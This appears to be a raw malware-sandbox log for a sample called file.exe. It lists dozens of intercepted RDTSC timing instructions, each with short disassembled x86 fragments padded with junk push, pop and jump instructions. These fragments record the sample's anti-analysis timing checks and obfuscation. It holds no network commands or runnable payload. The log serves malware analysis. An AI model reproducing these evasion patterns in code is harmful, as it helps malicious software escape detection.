Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE2CB second address: 7BE2DB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F488D0453F6h 0x00000008 jne 00007F488D0453F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6F4E second address: 7C6F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6F52 second address: 7C6F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6F56 second address: 7C6F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5FBB second address: 7C5FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5FC1 second address: 7C5FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5FC7 second address: 7C5FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5FCB second address: 7C5FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F488C756D03h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C615F second address: 7C6167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6167 second address: 7C616C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9554 second address: 7C9576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045406h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F488D0453F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB28E second address: 7CB2A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F488C756CF6h 0x00000009 jmp 00007F488C756D00h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC83D second address: 7DC841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D701E second address: 7D7023 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF25 second address: 6DFF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF2A second address: 6DFF30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF30 second address: 6DFF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF34 second address: 6DFF44 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF44 second address: 6DFF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFF4D second address: 6DFF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805C5D second address: 805C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F488D0453FEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805C74 second address: 805C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F17 second address: 805F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F1E second address: 805F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805F23 second address: 805F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8061E0 second address: 806218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D06h 0x00000007 push ecx 0x00000008 jmp 00007F488C756D01h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806218 second address: 80621F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80621F second address: 80623A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F488C756D03h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80623A second address: 806252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488D045404h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806252 second address: 806256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8067D4 second address: 806812 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F488D045405h 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F488D045405h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F488D045402h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806812 second address: 806824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F488C756CF6h 0x0000000a js 00007F488C756CF8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8096D1 second address: 8096D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809770 second address: 809787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F488C756CFDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809787 second address: 8097ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F488D0453FCh 0x0000000c jbe 00007F488D0453F6h 0x00000012 popad 0x00000013 nop 0x00000014 jmp 00007F488D0453FEh 0x00000019 push 00000004h 0x0000001b mov dh, 8Ch 0x0000001d mov edx, dword ptr [ebp+124550E6h] 0x00000023 call 00007F488D0453F9h 0x00000028 pushad 0x00000029 jmp 00007F488D045403h 0x0000002e jo 00007F488D0453FCh 0x00000034 js 00007F488D0453F6h 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d pushad 0x0000003e je 00007F488D0453F6h 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8097ED second address: 8097F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8097F1 second address: 809815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F488D0453FEh 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F488D0453F6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809AC5 second address: 809ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F488C756CFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809ADF second address: 809AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F488D0453FCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809AF3 second address: 809B3A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F488C756CFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F488C756D09h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edi 0x00000016 je 00007F488C756CF8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 je 00007F488C756CF6h 0x0000002a pop esi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809B3A second address: 809B3F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CC36 second address: 80CC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488C756CFBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E766 second address: 80E76C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50EFD second address: 4B50F35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F488C756CFEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 mov esi, 67DB2769h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50F35 second address: 4B50F7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D0453FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F488D045406h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F488D045407h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40D7C second address: 4B40DA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F488C756CFCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40DA0 second address: 4B40DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40DA6 second address: 4B40DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B806BC second address: 4B806E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, ax 0x00000010 push esi 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B806E3 second address: 4B80779 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, C529h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F488C756D05h 0x00000012 or ah, 00000036h 0x00000015 jmp 00007F488C756D01h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F488C756D00h 0x00000021 jmp 00007F488C756D05h 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov edx, 33B2CC1Eh 0x00000031 pushfd 0x00000032 jmp 00007F488C756CFFh 0x00000037 or al, FFFFFFCEh 0x0000003a jmp 00007F488C756D09h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80779 second address: 4B807AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488D045401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edx, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F488D045406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20132 second address: 4B20187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F488C756D09h 0x00000009 sbb al, FFFFFFA6h 0x0000000c jmp 00007F488C756D01h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F488C756D09h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20187 second address: 4B2018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2018B second address: 4B20191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20191 second address: 4B201B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 6089h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F488D045402h 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201B7 second address: 4B20252 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F488C756D08h 0x00000008 sbb ah, 00000038h 0x0000000b jmp 00007F488C756CFBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F488C756D08h 0x00000019 adc al, FFFFFF98h 0x0000001c jmp 00007F488C756CFBh 0x00000021 popfd 0x00000022 popad 0x00000023 push dword ptr [ebp+04h] 0x00000026 jmp 00007F488C756D06h 0x0000002b push dword ptr [ebp+0Ch] 0x0000002e pushad 0x0000002f mov di, cx 0x00000032 pushfd 0x00000033 jmp 00007F488C756CFAh 0x00000038 and cx, 9A28h 0x0000003d jmp 00007F488C756CFBh 0x00000042 popfd 0x00000043 popad 0x00000044 push dword ptr [ebp+08h] 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20252 second address: 4B20258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40B2E second address: 4B40B71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov ecx, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007F488C756D05h 0x00000012 movzx esi, dx 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 push edx 0x0000001a mov bh, ah 0x0000001c pop edx 0x0000001d call 00007F488C756CFEh 0x00000022 mov edi, esi 0x00000024 pop eax 0x00000025 popad 0x00000026 pop ebp 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4074E second address: 4B40754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40754 second address: 4B40758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40758 second address: 4B4075C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4075C second address: 4B4078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F488C756CFCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F488C756D00h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4078C second address: 4B40790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40790 second address: 4B407AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B407AD second address: 4B407B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B407B3 second address: 4B407B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B407B7 second address: 4B407BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B406BC second address: 4B406D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8062C second address: 4B8067C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov bx, 72D0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F488D0453FBh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007F488D045406h 0x0000001d sbb ax, 5E48h 0x00000022 jmp 00007F488D0453FBh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push edi 0x0000002f pop eax 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60375 second address: 4B60385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488C756CFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60385 second address: 4B603B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b jmp 00007F488D045407h 0x00000010 and dword ptr [eax+04h], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx edx, cx 0x0000001a mov ebx, eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B405BD second address: 4B405F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F488C756D07h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F488C756D02h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B405F1 second address: 4B40636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 44747AF4h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov edi, 4705DBEAh 0x00000014 movsx edi, si 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b jmp 00007F488D045408h 0x00000020 mov di, ax 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov bx, 651Ch 0x0000002c mov edx, 1A0AB708h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40636 second address: 4B4063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4063C second address: 4B40640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50E1F second address: 4B50E50 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F488C756CFDh 0x00000008 sbb ecx, 1D58A326h 0x0000000e jmp 00007F488C756D01h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70CDC second address: 4B70CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70CE2 second address: 4B70CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70CE6 second address: 4B70CEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70CEA second address: 4B70D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b call 00007F488C756D07h 0x00000010 pop eax 0x00000011 popad 0x00000012 movsx edx, ax 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 pushad 0x0000001a pushad 0x0000001b movzx ecx, dx 0x0000001e mov bh, 9Eh 0x00000020 popad 0x00000021 pushfd 0x00000022 jmp 00007F488C756D02h 0x00000027 xor eax, 2BABA488h 0x0000002d jmp 00007F488C756CFBh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007F488C756D06h 0x0000003b xchg eax, ecx 0x0000003c jmp 00007F488C756D00h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov bx, cx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70D74 second address: 4B70E16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 movzx ecx, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d jmp 00007F488D0453FFh 0x00000012 mov eax, dword ptr [76FB65FCh] 0x00000017 jmp 00007F488D045406h 0x0000001c test eax, eax 0x0000001e jmp 00007F488D045400h 0x00000023 je 00007F48FF407F9Fh 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F488D0453FEh 0x00000030 adc cl, 00000038h 0x00000033 jmp 00007F488D0453FBh 0x00000038 popfd 0x00000039 mov eax, 2323136Fh 0x0000003e popad 0x0000003f mov ecx, eax 0x00000041 jmp 00007F488D045402h 0x00000046 xor eax, dword ptr [ebp+08h] 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F488D045403h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70E16 second address: 4B70E1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
